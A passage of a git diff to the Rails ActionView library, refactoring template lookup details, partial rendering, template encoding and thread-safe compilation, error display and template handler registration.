-      initialize = registered_details.map { |n| "self.#{n} = details[:#{n}]" }
+      initialize = registered_details.map { |n| "@details[:#{n}] = details[:#{n}] || default_#{n}" }
 
       Accessors.send :define_method, :"default_#{name}", &block
       Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
         def #{name}
-          @details[:#{name}]
+          @details.fetch(:#{name}, [])
         end
 
         def #{name}=(value)
-          value = Array.wrap(value.presence || default_#{name})
+          value = value.present? ? Array(value) : default_#{name}
           _set_detail(:#{name}, value) if value != @details[:#{name}]
         end
 
@@ -44,7 +42,7 @@ module ActionView
     module Accessors #:nodoc:
     end
 
-    register_detail(:locale)  { [I18n.locale, I18n.default_locale] }
+    register_detail(:locale)  { [I18n.locale, I18n.default_locale].uniq }
     register_detail(:formats) { Mime::SET.symbols }
     register_detail(:handlers){ Template::Handlers.extensions }
 
@@ -56,7 +54,11 @@ module ActionView
       @details_keys = Hash.new
 
       def self.get(details)
-        @details_keys[details.freeze] ||= new
+        @details_keys[details] ||= new
+      end
+
+      def self.clear
+        @details_keys.clear
       end
 
       def initialize
@@ -85,20 +87,20 @@ module ActionView
     protected
 
       def _set_detail(key, value)
+        @details = @details.dup if @details_key
         @details_key = nil
-        @details = @details.dup if @details.frozen?
-        @details[key] = value.freeze
+        @details[key] = value
       end
     end
 
     # Helpers related to template lookup using the lookup context information.
     module ViewPaths
-      attr_reader :view_paths
+      attr_reader :view_paths, :html_fallback_for_js
 
       # Whenever setting view paths, makes a copy so we can manipulate then in
       # instance objects as we wish.
       def view_paths=(paths)
-        @view_paths = ActionView::PathSet.new(Array.wrap(paths))
+        @view_paths = ActionView::PathSet.new(Array(paths))
       end
 
       def find(name, prefixes = [], partial = false, keys = [], options = {})
@@ -147,27 +149,18 @@ module ActionView
       # as well as incorrectly putting part of the path in the template
       # name instead of the prefix.
       def normalize_name(name, prefixes) #:nodoc:
-        name  = name.to_s.sub(handlers_regexp) do |match|
-          ActiveSupport::Deprecation.warn "Passing a template handler in the template name is deprecated. " \
-            "You can simply remove the handler name or pass render :handlers => [:#{match[1..-1]}] instead.", caller
-          ""
-        end
+        prefixes = nil if prefixes.blank?
+        parts    = name.to_s.split('/')
+        parts.shift if parts.first.empty?
+        name     = parts.pop
 
-        parts = name.split('/')
-        name  = parts.pop
+        return name, prefixes || [""] if parts.empty?
 
-        prefixes = if prefixes.blank?
-          [parts.join('/')]
-        else
-          prefixes.map { |prefix| [prefix, *parts].compact.join('/') }
-        end
+        parts    = parts.join('/')
+        prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
 
         return name, prefixes
       end
-
-      def handlers_regexp #:nodoc:
-        @@handlers_regexp ||= /\.(?:#{default_handlers.join('|')})$/
-      end
     end
 
     include Accessors
@@ -176,29 +169,24 @@ module ActionView
 
     def initialize(view_paths, details = {}, prefixes = [])
       @details, @details_key = {}, nil
-      @frozen_formats, @skip_default_locale = false, false
+      @skip_default_locale = false
       @cache = true
       @prefixes = prefixes
+      @rendered_format = nil
 
       self.view_paths = view_paths
       initialize_details(details)
     end
 
-    # Freeze the current formats in the lookup context. By freezing them, you
-    # that next template lookups are not going to modify the formats. The con
-    # use this, to ensure that formats won't be further modified (as it does
-    def freeze_formats(formats, unless_frozen=false) #:nodoc:
-      return if unless_frozen && @frozen_formats
-      self.formats = formats
-      @frozen_formats = true
-    end
-
     # Override formats= to expand ["*/*"] values and automatically
     # add :html as fallback to :js.
     def formats=(values)
       if values
         values.concat(default_formats) if values.delete "*/*"
-        values << :html if values == [:js]
+        if values == [:js]
+          values << :html
+          @html_fallback_for_js = true
+        end
       end
       super(values)
     end
@@ -227,7 +215,6 @@ module ActionView
     end
 
     # A method which only uses the first format in the formats array for layout lookup.
-    # This method plays straight with instance variables for performance reasons.
     def with_layout_format
       if formats.size == 1
         yield
diff --git a/actionpack/lib/action_view/railtie.rb b/actionpack/lib/action_view/railtie.rb
index 80391d72cc..2d36deaa78 100644
--- a/actionpack/lib/action_view/railtie.rb
+++ b/actionpack/lib/action_view/railtie.rb
@@ -7,6 +7,20 @@ module ActionView
     config.action_view = ActiveSupport::OrderedOptions.new
     config.action_view.stylesheet_expansions = {}
     config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
+    config.action_view.embed_authenticity_token_in_remote_forms = false
+
+    config.eager_load_namespaces << ActionView
+
+    initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
+      ActiveSupport.on_load(:action_view) do
+        ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
+          app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
+      end
+    end
+
+    initializer "action_view.logger" do
+      ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
+    end
 
     initializer "action_view.cache_asset_ids" do |app|
       unless app.config.cache_classes
diff --git a/actionpack/lib/action_view/renderer/abstract_renderer.rb b/actionpack/lib/action_view/renderer/abstract_renderer.rb
index c0936441ac..6fb8cbb46c 100644
--- a/actionpack/lib/action_view/renderer/abstract_renderer.rb
+++ b/actionpack/lib/action_view/renderer/abstract_renderer.rb
@@ -1,7 +1,6 @@
 module ActionView
   class AbstractRenderer #:nodoc:
-    delegate :find_template, :template_exists?, :with_fallbacks, :update_details,
-      :with_layout_format, :formats, :freeze_formats, :to => :@lookup_context
+    delegate :find_template, :template_exists?, :with_fallbacks, :with_layout_format, :formats, :to => :@lookup_context
 
     def initialize(lookup_context)
       @lookup_context = lookup_context
@@ -12,30 +11,22 @@ module ActionView
     end
 
     protected
-    
+
     def extract_details(options)
-      details = {}
-      @lookup_context.registered_details.each do |key|
+      @lookup_context.registered_details.each_with_object({}) do |key, details|
         next unless value = options[key]
-        details[key] = Array.wrap(value)
-      end
-      details
-    end
-    
-    def extract_format(value, details)
-      if value.is_a?(String) && value.sub!(formats_regexp, "")
-        ActiveSupport::Deprecation.warn "Passing the format in the template name is deprecated. " \
-          "Please pass render with :formats => [:#{$1}] instead.", caller
-        details[:formats] ||= [$1.to_sym]
+        details[key] = Array(value)
       end
     end
 
-    def formats_regexp
-      @@formats_regexp ||= /\.(#{Mime::SET.symbols.join('|')})$/
-    end
-
     def instrument(name, options={})
       ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield }
     end
+
+    def prepend_formats(formats)
+      formats = Array(formats)
+      return if formats.empty? || @lookup_context.html_fallback_for_js
+      @lookup_context.formats = formats | @lookup_context.formats
+    end
   end
 end
diff --git a/actionpack/lib/action_view/renderer/partial_renderer.rb b/actionpack/lib/action_view/renderer/partial_renderer.rb
index 15cb9d0f76..edefeac184 100644
--- a/actionpack/lib/action_view/renderer/partial_renderer.rb
+++ b/actionpack/lib/action_view/renderer/partial_renderer.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 
 module ActionView
   # = Action View Partials
@@ -32,7 +31,7 @@ module ActionView
   #
   #   <%= render :partial => "account", :object => @buyer %>
   #
-  # would provide the +@buyer+ object to the partial, available under the local variable +account+ and is
+  # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
   # equivalent to:
   #
   #   <%= render :partial => "account", :locals => { :account => @buyer } %>
@@ -82,16 +81,17 @@ module ActionView
   #
   # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
   #
-  # == Rendering objects with the RecordIdentifier
+  # == Rendering objects that respond to `to_partial_path`
   #
-  # Instead of explicitly naming the location of a partial, you can also let the RecordIdentifier do the work if
-  # you're following its conventions for RecordIdentifier#partial_path. Examples:
+  # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
+  # and pick the proper path by checking `to_partial_path` method.
   #
-  #  # @account is an Account instance, so it uses the RecordIdentifier to replace
+  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
   #  # <%= render :partial => "accounts/account", :locals => { :account => @account} %>
   #  <%= render :partial => @account %>
   #
-  #  # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # that's why we can replace:
   #  # <%= render :partial => "posts/post", :collection => @posts %>
   #  <%= render :partial => @posts %>
   #
@@ -106,13 +106,14 @@ module ActionView
   #  # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
   #  <%= render "account", :account => @buyer %>
   #
-  #  # @account is an Account instance, so it uses the RecordIdentifier to replace
-  #  # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
-  #  <%= render(@account) %>
+  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+  #  # <%= render :partial => "accounts/account", :locals => { :account => @account} %>
+  #  <%= render @account %>
   #
-  #  # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # that's why we can replace:
   #  # <%= render :partial => "posts/post", :collection => @posts %>
-  #  <%= render(@posts) %>
+  #  <%= render @posts %>
   #
   # == Rendering partials with layouts
   #
@@ -156,6 +157,47 @@ module ActionView
   #     Name: <%= user.name %>
   #   </div>
   #
+  # If a collection is given, the layout will be rendered once for each item in
+  # the collection. Just think these two snippets have the same output:
+  #
+  #   <%# app/views/users/_user.html.erb %>
+  #   Name: <%= user.name %>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <%# This does not use layouts %>
+  #   <ul>
+  #     <% users.each do |user| -%>
+  #       <li>
+  #         <%= render :partial => "user", :locals => { :user => user } %>
+  #       </li>
+  #     <% end -%>
+  #   </ul>
+  #
+  #   <%# app/views/users/_li_layout.html.erb %>
+  #   <li>
+  #     <%= yield %>
+  #   </li>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <ul>
+  #     <%= render :partial => "user", :layout => "li_layout", :collection => users %>
+  #   </ul>
+  #
+  # Given two users whose names are Alice and Bob, these snippets return:
+  #
+  #   <ul>
+  #     <li>
+  #       Name: Alice
+  #     </li>
+  #     <li>
+  #       Name: Bob
+  #     </li>
+  #   </ul>
+  #
+  # The current object being rendered, as well as the object_counter, will be
+  # available as local variables inside the layout template under the same names
+  # as available in the partial.
+  #
   # You can also apply a layout to a block within any template:
   #
   #   <%# app/views/users/_chief.html.erb &>
@@ -205,19 +247,26 @@ module ActionView
   #       Deadline: <%= user.deadline %>
   #     <%- end -%>
   #   <% end %>
-  class PartialRenderer < AbstractRenderer #:nodoc:
-    PARTIAL_NAMES = Hash.new { |h,k| h[k] = {} }
+  class PartialRenderer < AbstractRenderer
+    PREFIXED_PARTIAL_NAMES = Hash.new { |h,k| h[k] = {} }
 
     def initialize(*)
       super
       @context_prefix = @lookup_context.prefixes.first
-      @partial_names = PARTIAL_NAMES[@context_prefix]
     end
 
     def render(context, options, block)
       setup(context, options, block)
       identifier = (@template = find_partial) ? @template.identifier : @path
 
+      @lookup_context.rendered_format ||= begin
+        if @template && @template.formats.present?
+          @template.formats.first
+        else
+          formats.first
+        end
+      end
+
       if @collection
         instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
           render_collection
@@ -233,7 +282,7 @@ module ActionView
       return nil if @collection.blank?
 
       if @options.key?(:spacer_template)
-        spacer = find_template(@options[:spacer_template]).render(@view, @locals)
+        spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
       end
 
       result = @template ? collection_with_template : collection_without_template
@@ -241,11 +290,11 @@ module ActionView
     end
 
     def render_partial
-      locals, view, block = @locals, @view, @block
+      view, locals, block = @view, @locals, @block
       object, as = @object, @variable
 
       if !block && (layout = @options[:layout])
-        layout = find_template(layout)
+        layout = find_template(layout, @template_keys)
       end
 
       object ||= locals[as]
@@ -270,6 +319,8 @@ module ActionView
       @block   = block
       @details = extract_details(options)
 
+      prepend_formats(options[:formats])
+
       if String === partial
         @object     = options[:object]
         @path       = partial
@@ -285,19 +336,18 @@ module ActionView
         end
       end
 
-      if @path
-        @variable, @variable_counter = retrieve_variable(@path)
-      else
-        paths.map! { |path| retrieve_variable(path).unshift(path) }
+      if as = options[:as]
+        raise_invalid_identifier(as) unless as.to_s =~ /\A[a-z_]\w*\z/
+        as = as.to_sym
       end
 
-      if String === partial && @variable.to_s !~ /^[a-z_][a-zA-Z_0-9]*$/
-        raise ArgumentError.new("The partial name (#{partial}) is not a valid Ruby identifier; " +
-                                "make sure your partial name starts with a letter or underscore, " +
-                                "and is followed by any combinations of letters, numbers, or underscores.")
+      if @path
+        @variable, @variable_counter = retrieve_variable(@path, as)
+        @template_keys = retrieve_template_keys
+      else
+        paths.map! { |path| retrieve_variable(path, as).unshift(path) }
       end
 
-      extract_format(@path, @details)
       self
     end
 
@@ -309,55 +359,55 @@ module ActionView
     end
 
     def collection_from_object
-      if @object.respond_to?(:to_ary)
-        @object.to_ary
-      end
+      @object.to_ary if @object.respond_to?(:to_ary)
     end
 
     def find_partial
       if path = @path
-        locals = @locals.keys
-        locals << @variable
-        locals << @variable_counter if @collection
-        find_template(path, locals)
+        find_template(path, @template_keys)
       end
     end
 
-    def find_template(path=@path, locals=@locals.keys)
+    def find_template(path, locals)
       prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
       @lookup_context.find_template(path, prefixes, true, locals, @details)
     end
 
     def collection_with_template
-      segments, locals, template = [], @locals, @template
+      view, locals, template = @view, @locals, @template
       as, counter = @variable, @variable_counter
 
-      locals[counter] = -1
-
-      @collection.each do |object|
-        locals[counter] += 1
-        locals[as] = object
-        segments << template.render(@view, locals)
+      if layout = @options[:layout]
+        layout = find_template(layout, @template_keys)
       end
 
-      segments
+      index = -1
+      @collection.map do |object|
+        locals[as]      = object
+        locals[counter] = (index += 1)
+
+        content = template.render(view, locals)
+        content = layout.render(view, locals) { content } if layout
+        content
+      end
     end
 
     def collection_without_template
-      segments, locals, collection_data = [], @locals, @collection_data
-      index, template, cache = -1, nil, {}
-      keys = @locals.keys
+      view, locals, collection_data = @view, @locals, @collection_data
+      cache = {}
+      keys  = @locals.keys
 
-      @collection.each_with_index do |object, i|
-        path, *data = collection_data[i]
-        template = (cache[path] ||= find_template(path, keys + data))
-        locals[data[0]] = object
-        locals[data[1]] = (index += 1)
-        segments << template.render(@view, locals)
-      end
+      index = -1
+      @collection.map do |object|
+        index += 1
+        path, as, counter = collection_data[index]
+
+        locals[as]      = object
+        locals[counter] = index
 
-      @template = template
-      segments
+        template = (cache[path] ||= find_template(path, keys + [as, counter]))
+        template.render(view, locals)
+      end
     end
 
     def partial_path(object = @object)
@@ -366,34 +416,60 @@ module ActionView
       path = if object.respond_to?(:to_partial_path)
         object.to_partial_path
       else
-        ActiveSupport::Deprecation.warn "ActiveModel-compatible objects whose classes return a #model_name that responds to #partial_path are deprecated. Please respond to #to_partial_path directly instead."
-        object.class.model_name.partial_path
+        raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
       end
 
-      @partial_names[path] ||= path.dup.tap do |object_path|
-        merge_prefix_into_object_path(@context_prefix, object_path)
+      if @view.prefix_partial_path_with_controller_namespace
+        prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
+      else
+        path
       end
     end
 
+    def prefixed_partial_names
+      @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
+    end
+
     def merge_prefix_into_object_path(prefix, object_path)
       if prefix.include?(?/) && object_path.include?(?/)
-        overlap = []
+        prefixes = []
         prefix_array = File.dirname(prefix).split('/')
         object_path_array = object_path.split('/')[0..-3] # skip model dir & partial
 
         prefix_array.each_with_index do |dir, index|
-          overlap << dir if dir == object_path_array[index]
+          break if dir == object_path_array[index]
+          prefixes << dir
         end
 
-        object_path.gsub!(/^#{overlap.join('/')}\//,'')
-        object_path.insert(0, "#{File.dirname(prefix)}/")
+        (prefixes << object_path).join("/")
+      else
+        object_path
       end
     end
 
-    def retrieve_variable(path)
-      variable = @options[:as].try(:to_sym) || path[%r'_?(\w+)(\.\w+)*$', 1].to_sym
+    def retrieve_template_keys
+      keys = @locals.keys
+      keys << @variable
+      keys << @variable_counter if @collection
+      keys
+    end
+
+    def retrieve_variable(path, as)
+      variable = as || begin
+        base = path[-1] == "/" ? "" : File.basename(path)
+        raise_invalid_identifier(path) unless base =~ /\A_?([a-z]\w*)(\.\w+)*\z/
+        $1.to_sym
+      end
       variable_counter = :"#{variable}_counter" if @collection
       [variable, variable_counter]
     end
+
+    IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " +
+                               "make sure your partial name starts with a lowercase letter or underscore, " +
+                               "and is followed by any combination of letters, numbers and underscores."
+
+    def raise_invalid_identifier(path)
+      raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
+    end
   end
 end
diff --git a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
index 1ccf5a8ddb..f46aabd2be 100644
--- a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
+++ b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
@@ -1,7 +1,4 @@
-# 1.9 ships with Fibers but we need to require the extra
-# methods explicitly. We only load those extra methods if
-# Fiber is available in the first place.
-require 'fiber' if defined?(Fiber)
+require 'fiber'
 
 module ActionView
   # == TODO
diff --git a/actionpack/lib/action_view/renderer/template_renderer.rb b/actionpack/lib/action_view/renderer/template_renderer.rb
index ac91d333ba..156ad4e547 100644
--- a/actionpack/lib/action_view/renderer/template_renderer.rb
+++ b/actionpack/lib/action_view/renderer/template_renderer.rb
@@ -1,23 +1,28 @@
 require 'active_support/core_ext/object/try'
-require 'active_support/core_ext/array/wrap'
 
 module ActionView
   class TemplateRenderer < AbstractRenderer #:nodoc:
     def render(context, options)
       @view    = context
       @details = extract_details(options)
-      extract_format(options[:file] || options[:template], @details)
       template = determine_template(options)
-      freeze_formats(template.formats, true)
+      context  = @lookup_context
+
+      prepend_formats(template.formats)
+
+      unless context.rendered_format
+        context.rendered_format = template.formats.first || formats.last
+      end
+
       render_template(template, options[:layout], options[:locals])
     end
 
     # Determine the template to be rendered using the given options.
     def determine_template(options) #:nodoc:
-      keys = options[:locals].try(:keys) || []
+      keys = options.fetch(:locals, {}).keys
 
       if options.key?(:text)
-        Template::Text.new(options[:text], formats.try(:first))
+        Template::Text.new(options[:text], formats.first)
       elsif options.key?(:file)
         with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
       elsif options.key?(:inline)
@@ -26,10 +31,12 @@ module ActionView
       elsif options.key?(:template)
         options[:template].respond_to?(:render) ?
           options[:template] : find_template(options[:template], options[:prefixes], false, keys, @details)
+      else
+        raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file or :text option."
       end
     end
 
-    # Renders the given template. An string representing the layout can be
+    # Renders the given template. A string representing the layout can be
     # supplied as well.
     def render_template(template, layout_name = nil, locals = {}) #:nodoc:
       view, locals = @view, locals || {}
@@ -58,14 +65,28 @@ module ActionView
     # context object. If no layout is found, it checks if at least a layout with
     # the given name exists across all details before raising the error.
     def find_layout(layout, keys)
-      begin
-        with_layout_format do
-          layout =~ /^\// ?
-            with_fallbacks { find_template(layout, nil, false, keys, @details) } : find_template(layout, nil, false, keys, @details)
+      with_layout_format { resolve_layout(layout, keys) }
+    end
+
+    def resolve_layout(layout, keys)
+      case layout
+      when String
+        begin
+          if layout =~ /^\//
+            with_fallbacks { find_template(layout, nil, false, keys, @details) }
+          else
+            find_template(layout, nil, false, keys, @details)
+          end
+        rescue ActionView::MissingTemplate
+          all_details = @details.merge(:formats => @lookup_context.default_formats)
+          raise unless template_exists?(layout, nil, false, keys, all_details)
         end
-      rescue ActionView::MissingTemplate
-        all_details = @details.merge(:formats => @lookup_context.default_formats)
-        raise unless template_exists?(layout, nil, false, keys, all_details)
+      when Proc
+        resolve_layout(layout.call, keys)
+      when FalseClass
+        nil
+      else
+        layout
       end
     end
   end
diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb
index fbc135c4a7..a04eac1d3f 100644
--- a/actionpack/lib/action_view/template.rb
+++ b/actionpack/lib/action_view/template.rb
@@ -1,33 +1,6 @@
-require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/try'
 require 'active_support/core_ext/kernel/singleton_class'
-
-if defined?(RUBY_ENGINE) && RUBY_ENGINE == 'ruby' && RUBY_VERSION == '1.9.3' && RUBY_PATCHLEVEL == 0
-  # This is a hack to work around a bug in Ruby 1.9.3p0:
-  # http://redmine.ruby-lang.org/issues/5564
-  #
-  # Basically, at runtime we may need to perform some encoding conversions on the templates,
-  # but if the converter hasn't been loaded by Ruby beforehand (i.e. now), then it won't be
-  # able to find it (due to a  bug).
-  #
-  # However, we don't know what conversions we may need to do a runtime. So we load up a
-  # marshal-dumped structure which contains a pre-generated list of all the possible conversions,
-  # and we load all of them.
-  #
-  # In my testing this increased the process size by about 3.9 MB (after the conversions array
-  # is GC'd) and took around 170ms to run, which seems acceptable for a workaround.
-  #
-  # The script to dump the conversions is: https://gist.github.com/1342729
-
-  filename    = File.join(File.dirname(__FILE__), 'data', 'encoding_conversions.dump')
-  conversions = Marshal.load(File.read(filename))
-  conversions.each do |from, to_array|
-    to_array.each do |to|
-      Encoding::Converter.new(from, to)
-    end
-  end
-end
+require 'thread'
 
 module ActionView
   # = Action View Template
@@ -148,7 +121,8 @@ module ActionView
       @locals            = details[:locals] || []
       @virtual_path      = details[:virtual_path]
       @updated_at        = details[:updated_at] || Time.now
-      @formats = Array.wrap(format).map { |f| f.is_a?(Mime::Type) ? f.ref : f }
+      @formats           = Array(format).map { |f| f.is_a?(Mime::Type) ? f.ref : f }
+      @compile_mutex     = Mutex.new
     end
 
     # Returns if the underlying handler supports streaming. If so,
@@ -199,6 +173,50 @@ module ActionView
       @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", '') : identifier
     end
 
+    # This method is responsible for properly setting the encoding of the
+    # source. Until this point, we assume that the source is BINARY data.
+    # If no additional information is supplied, we assume the encoding is
+    # the same as <tt>Encoding.default_external</tt>.
+    #
+    # The user can also specify the encoding via a comment on the first
+    # line of the template (# encoding: NAME-OF-ENCODING). This will work
+    # with any template engine, as we process out the encoding comment
+    # before passing the source on to the template engine, leaving a
+    # blank line in its stead.
+    def encode!
+      return unless source.encoding == Encoding::BINARY
+
+      # Look for # encoding: *. If we find one, we'll encode the
+      # String in that encoding, otherwise, we'll use the
+      # default external encoding.
+      if source.sub!(/\A#{ENCODING_FLAG}/, '')
+        encoding = magic_encoding = $1
+      else
+        encoding = Encoding.default_external
+      end
+
+      # Tag the source with the default external encoding
+      # or the encoding specified in the file
+      source.force_encoding(encoding)
+
+      # If the user didn't specify an encoding, and the handler
+      # handles encodings, we simply pass the String as is to
+      # the handler (with the default_external tag)
+      if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
+        source
+      # Otherwise, if the String is valid in the encoding,
+      # encode immediately to default_internal. This means
+      # that if a handler doesn't handle encodings, it will
+      # always get Strings in the default_internal
+      elsif source.valid_encoding?
+        source.encode!
+      # Otherwise, since the String is invalid in the encoding
+      # specified, raise an exception
+      else
+        raise WrongEncodingError.new(source, encoding)
+      end
+    end
+
     protected
 
       # Compile a template. This method ensures a template is compiled
@@ -206,30 +224,32 @@ module ActionView
       def compile!(view) #:nodoc:
         return if @compiled
 
-        if view.is_a?(ActionView::CompiledTemplates)
-          mod = ActionView::CompiledTemplates
-        else
-          mod = view.singleton_class
-        end
+        # Templates can be used concurrently in threaded environments
+        # so compilation and any instance variable modification must
+        # be synchronized
+        @compile_mutex.synchronize do
+          # Any thread holding this lock will be compiling the template needed
+          # by the threads waiting. So re-check the @compiled flag to avoid
+          # re-compilation
+          return if @compiled
+
+          if view.is_a?(ActionView::CompiledTemplates)
+            mod = ActionView::CompiledTemplates
+          else
+            mod = view.singleton_class
+          end
 
-        compile(view, mod)
+          compile(view, mod)
 
-        # Just discard the source if we have a virtual path. This
-        # means we can get the template back.
-        @source = nil if @virtual_path
-        @compiled = true
+          # Just discard the source if we have a virtual path. This
+          # means we can get the template back.
+          @source = nil if @virtual_path
+          @compiled = true
+        end
       end
 
       # Among other things, this method is responsible for properly setting
-      # the encoding of the source. Until this point, we assume that the
-      # source is BINARY data. If no additional information is supplied,
-      # we assume the encoding is the same as <tt>Encoding.default_external</tt>.
-      #
-      # The user can also specify the encoding via a comment on the first
-      # line of the template (# encoding: NAME-OF-ENCODING). This will work
-      # with any template engine, as we process out the encoding comment
-      # before passing the source on to the template engine, leaving a
-      # blank line in its stead.
+      # the encoding of the compiled template.
       #
       # If the template engine handles encodings, we send the encoded
       # String to the engine without further processing. This allows
@@ -241,40 +261,8 @@ module ActionView
       # In general, this means that templates will be UTF-8 inside of Rails,
       # regardless of the original source encoding.
       def compile(view, mod) #:nodoc:
+        encode!
         method_name = self.method_name
-
-        if source.encoding_aware?
-          # Look for # encoding: *. If we find one, we'll encode the
-          # String in that encoding, otherwise, we'll use the
-          # default external encoding.
-          if source.sub!(/\A#{ENCODING_FLAG}/, '')
-            encoding = magic_encoding = $1
-          else
-            encoding = Encoding.default_external
-          end
-
-          # Tag the source with the default external encoding
-          # or the encoding specified in the file
-          source.force_encoding(encoding)
-
-          # If the user didn't specify an encoding, and the handler
-          # handles encodings, we simply pass the String as is to
-          # the handler (with the default_external tag)
-          if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
-            source
-          # Otherwise, if the String is valid in the encoding,
-          # encode immediately to default_internal. This means
-          # that if a handler doesn't handle encodings, it will
-          # always get Strings in the default_internal
-          elsif source.valid_encoding?
-            source.encode!
-          # Otherwise, since the String is invalid in the encoding
-          # specified, raise an exception
-          else
-            raise WrongEncodingError.new(source, encoding)
-          end
-        end
-
         code = @handler.call(self)
 
         # Make sure that the resulting String to be evalled is in the
@@ -287,20 +275,18 @@ module ActionView
           end
         end_src
 
-        if source.encoding_aware?
-          # Make sure the source is in the encoding of the returned code
-          source.force_encoding(code.encoding)
+        # Make sure the source is in the encoding of the returned code
+        source.force_encoding(code.encoding)
 
-          # In case we get back a String from a handler that is not in
-          # BINARY or the default_internal, encode it to the default_internal
-          source.encode!
+        # In case we get back a String from a handler that is not in
+        # BINARY or the default_internal, encode it to the default_internal
+        source.encode!
 
-          # Now, validate that the source we got back from the template
-          # handler is valid in the default_internal. This is for handlers
-          # that handle encoding but screw up
-          unless source.valid_encoding?
-            raise WrongEncodingError.new(@source, Encoding.default_internal)
-          end
+        # Now, validate that the source we got back from the template
+        # handler is valid in the default_internal. This is for handlers
+        # that handle encoding but screw up
+        unless source.valid_encoding?
+          raise WrongEncodingError.new(@source, Encoding.default_internal)
         end
 
         begin
@@ -313,7 +299,7 @@ module ActionView
             logger.debug "Backtrace: #{e.backtrace.join("\n")}"
           end
 
-          raise ActionView::Template::Error.new(self, {}, e)
+          raise ActionView::Template::Error.new(self, e)
         end
       end
 
@@ -322,9 +308,12 @@ module ActionView
           e.sub_template_of(self)
           raise e
         else
-          assigns  = view.respond_to?(:assigns) ? view.assigns : {}
-          template = @virtual_path ? refresh(view) : self
-          raise Template::Error.new(template, assigns, e)
+          template = self
+          unless template.source
+            template = refresh(view)
+            template.encode!
+          end
+          raise Template::Error.new(template, e)
         end
       end
 
diff --git a/actionpack/lib/action_view/template/error.rb b/actionpack/lib/action_view/template/error.rb
index 587e37a84f..f2bef4bded 100644
--- a/actionpack/lib/action_view/template/error.rb
+++ b/actionpack/lib/action_view/template/error.rb
@@ -1,4 +1,3 @@
-require "active_support/core_ext/array/wrap"
 require "active_support/core_ext/enumerable"
 
 module ActionView
@@ -30,7 +29,7 @@ module ActionView
 
     def initialize(paths, path, prefixes, partial, details, *)
       @path = path
-      prefixes = Array.wrap(prefixes)
+      prefixes = Array(prefixes)
       template_type = if partial
         "partial"
       elsif path =~ /layouts/i
@@ -56,9 +55,9 @@ module ActionView
 
       attr_reader :original_exception, :backtrace
 
-      def initialize(template, assigns, original_exception)
+      def initialize(template, original_exception)
         super(original_exception.message)
-        @template, @assigns, @original_exception = template, assigns.dup, original_exception
+        @template, @original_exception = template, original_exception
         @sub_templates = nil
         @backtrace = original_exception.backtrace
       end
@@ -85,13 +84,13 @@ module ActionView
         start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
         end_on_line   = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
 
-        indent = ' ' * indentation
+        indent = end_on_line.to_s.size + indentation
         line_counter = start_on_line
         return unless source_code = source_code[start_on_line..end_on_line]
 
         source_code.sum do |line|
           line_counter += 1
-          "#{indent}#{line_counter}: #{line}\n"
+          "%#{indent}s: %s\n" % [line_counter, line]
         end
       end
 
diff --git a/actionpack/lib/action_view/template/handlers.rb b/actionpack/lib/action_view/template/handlers.rb
index aa693335e3..41b14373a3 100644
--- a/actionpack/lib/action_view/template/handlers.rb
+++ b/actionpack/lib/action_view/template/handlers.rb
@@ -4,10 +4,12 @@ module ActionView #:nodoc:
     module Handlers #:nodoc:
       autoload :ERB, 'action_view/template/handlers/erb'
       autoload :Builder, 'action_view/template/handlers/builder'
+      autoload :Raw, 'action_view/template/handlers/raw'
 
       def self.extended(base)
         base.register_default_template_handler :erb, ERB.new
         base.register_template_handler :builder, Builder.new
+        base.register_template_handler :raw, Raw.new
       end
 
       @@template_handlers = {}
@@ -17,15 +19,13 @@ module ActionView #:nodoc:
         @@template_extensions ||= @@template_handlers.keys
       end
 
-      # Register a class that knows how to handle template files with the given
+      # Register an object that knows how to handle template files with the given
       # extension. This can be used to implement new template types.
-      # The constructor for the class must take the ActiveView::Base instance
-      # as a parameter, and the class must implement a +render+ method that
-      # takes the contents of the template to render as well as the Hash of
-      # local assigns available to the template. The +render+ method ought to
-      # return the rendered template as a string.
